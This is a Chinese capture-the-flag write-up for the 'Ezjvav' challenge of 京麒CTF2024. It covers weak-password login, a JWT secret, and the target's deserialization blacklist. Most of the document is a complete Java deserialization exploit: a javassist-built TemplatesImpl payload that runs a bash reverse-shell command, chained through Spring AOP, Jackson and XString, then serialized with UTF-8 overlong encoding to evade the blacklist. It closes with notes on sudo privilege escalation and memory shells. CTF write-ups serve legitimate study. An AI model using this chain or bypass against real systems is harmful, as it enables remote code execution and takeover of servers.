京麒CTF2024-Ezjvav
admin/admin弱密码登录,
扫网页发现/js/manage.js,访问得到js混淆代码,直接gpt梭:
window.onload = function() { fetch('/source') .then(response => response.json()) .then(data => { console.log(data); }) .catch(error => console.error('Error:', error)); };
意思就是跳转/source读源码出来。
但是有个jwt验证,其实密钥就是jsrc,然后带cookie访问/source得到附件,直接down下来分析。
blacklist:
String[] s = new String[]{"java.util.HashMap", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.alibaba.fastjson.JSONArrayLlist"}; ---------------------------------------------------------------------------------------------------- blackList.add("javax.management.BadAttributeValueExpException"); blackList.add("com.sun.syndication.feed.impl.ToStringBean"); blackList.add("java.security.SignedObject"); blackList.add("com.sun.rowset.JdbcRowSetImpl");
rome链子的一些被ban了。
依赖:
overlong encoding自定义序列化流绕过黑名单直接打:
package com.eddiemurphy; import com.example.jsrc.func.ByteCompare; import com.example.jsrc.func.MyObjectInputStream; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import com.fasterxml.jackson.databind.node.POJONode; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import org.springframework.aop.framework.AdvisedSupport; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; //最通用的办法 public class Exp { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\");"); ctClass.addConstructor(constructor); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "test"); setFieldValue(templatesImpl, "_tfactory", null); Object proxy = getProxy(templatesImpl, Templates.class); Object exp = getXstringMap(proxy); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); UTF8OverlongObjectOutputStream o = new UTF8OverlongObjectOutputStream(byteArrayOutputStream); o.writeObject(exp); String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(payload); } public static Object getProxy(Object obj,Class<?> clazz) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(obj); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler); return proxy; } public static Object getXstringMap(Object obj) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode(obj); XString xString = new XString("test"); HashMap<Object, Object> map1 = new HashMap<>(); HashMap<Object, Object> map2 = new HashMap<>(); map1.put("yy", node); map1.put("zZ", xString); map2.put("yy", xString); map2.put("zZ", node); Object o = makeMap(map1, map2); return o; } public static HashMap makeMap(Object v1, Object v2) throws Exception { HashMap s = new HashMap(); setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } static class UTF8OverlongObjectOutputStream extends ObjectOutputStream { public HashMap<Character, int[]> map = new HashMap<Character, int[]>() {{ put('.', new int[]{0xc0, 0xae}); put(';', new int[]{0xc0, 0xbb}); put('$', new int[]{0xc0, 0xa4}); put('[', new int[]{0xc1, 0x9b}); put(']', new int[]{0xc1, 0x9d}); put('a', new int[]{0xc1, 0xa1}); put('b', new int[]{0xc1, 0xa2}); put('c', new int[]{0xc1, 0xa3}); put('d', new int[]{0xc1, 0xa4}); put('e', new int[]{0xc1, 0xa5}); put('f', new int[]{0xc1, 0xa6}); put('g', new int[]{0xc1, 0xa7}); put('h', new int[]{0xc1, 0xa8}); put('i', new int[]{0xc1, 0xa9}); put('j', new int[]{0xc1, 0xaa}); put('k', new int[]{0xc1, 0xab}); put('l', new int[]{0xc1, 0xac}); put('m', new int[]{0xc1, 0xad}); put('n', new int[]{0xc1, 0xae}); put('o', new int[]{0xc1, 0xaf}); // 0x6f put('p', new int[]{0xc1, 0xb0}); put('q', new int[]{0xc1, 0xb1}); put('r', new int[]{0xc1, 0xb2}); put('s', new int[]{0xc1, 0xb3}); put('t', new int[]{0xc1, 0xb4}); put('u', new int[]{0xc1, 0xb5}); put('v', new int[]{0xc1, 0xb6}); put('w', new int[]{0xc1, 0xb7}); put('x', new int[]{0xc1, 0xb8}); put('y', new int[]{0xc1, 0xb9}); put('z', new int[]{0xc1, 0xba}); put('A', new int[]{0xc1, 0x81}); put('B', new int[]{0xc1, 0x82}); put('C', new int[]{0xc1, 0x83}); put('D', new int[]{0xc1, 0x84}); put('E', new int[]{0xc1, 0x85}); put('F', new int[]{0xc1, 0x86}); put('G', new int[]{0xc1, 0x87}); put('H', new int[]{0xc1, 0x88}); put('I', new int[]{0xc1, 0x89}); put('J', new int[]{0xc1, 0x8a}); put('K', new int[]{0xc1, 0x8b}); put('L', new int[]{0xc1, 0x8c}); put('M', new int[]{0xc1, 0x8d}); put('N', new int[]{0xc1, 0x8e}); put('O', new int[]{0xc1, 0x8f}); put('P', new int[]{0xc1, 0x90}); put('Q', new int[]{0xc1, 0x91}); put('R', new int[]{0xc1, 0x92}); put('S', new int[]{0xc1, 0x93}); put('T', new int[]{0xc1, 0x94}); put('U', new int[]{0xc1, 0x95}); put('V', new int[]{0xc1, 0x96}); put('W', new int[]{0xc1, 0x97}); put('X', new int[]{0xc1, 0x98}); put('Y', new int[]{0xc1, 0x99}); put('Z', new int[]{0xc1, 0x9a}); }}; public UTF8OverlongObjectOutputStream(OutputStream out) throws IOException { super(out); } @Override protected void writeClassDescriptor(ObjectStreamClass desc) { try { String name = desc.getName(); // writeUTF(desc.getName()); writeShort(name.length() * 2); for (int i = 0; i < name.length(); i++) { char s = name.charAt(i); // System.out.println(s); write(map.get(s)[0]); write(map.get(s)[1]); } writeLong(desc.getSerialVersionUID()); byte flags = 0; if ((Boolean) getFieldValue(desc, "externalizable")) { flags |= ObjectStreamConstants.SC_EXTERNALIZABLE; Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol"); protocolField.setAccessible(true); int protocol = (Integer) protocolField.get(this); if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) { flags |= ObjectStreamConstants.SC_BLOCK_DATA; } } else if ((Boolean) getFieldValue(desc, "serializable")) { flags |= ObjectStreamConstants.SC_SERIALIZABLE; } if ((Boolean) getFieldValue(desc, "hasWriteObjectData")) { flags |= ObjectStreamConstants.SC_WRITE_METHOD; } if ((Boolean) getFieldValue(desc, "isEnum")) { flags |= ObjectStreamConstants.SC_ENUM; } writeByte(flags); ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields"); writeShort(fields.length); for (int i = 0; i < fields.length; i++) { ObjectStreamField f = fields[i]; writeByte(f.getTypeCode()); writeUTF(f.getName()); if (!f.isPrimitive()) { Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class); writeTypeString.setAccessible(true); writeTypeString.invoke(this, f.getTypeString()); // writeTypeString(f.getTypeString()); } } } catch (Exception e) { e.printStackTrace(); } } } }
suid提权,sudo可用且nopasswd:
还可以借鉴一手内存🐎打法: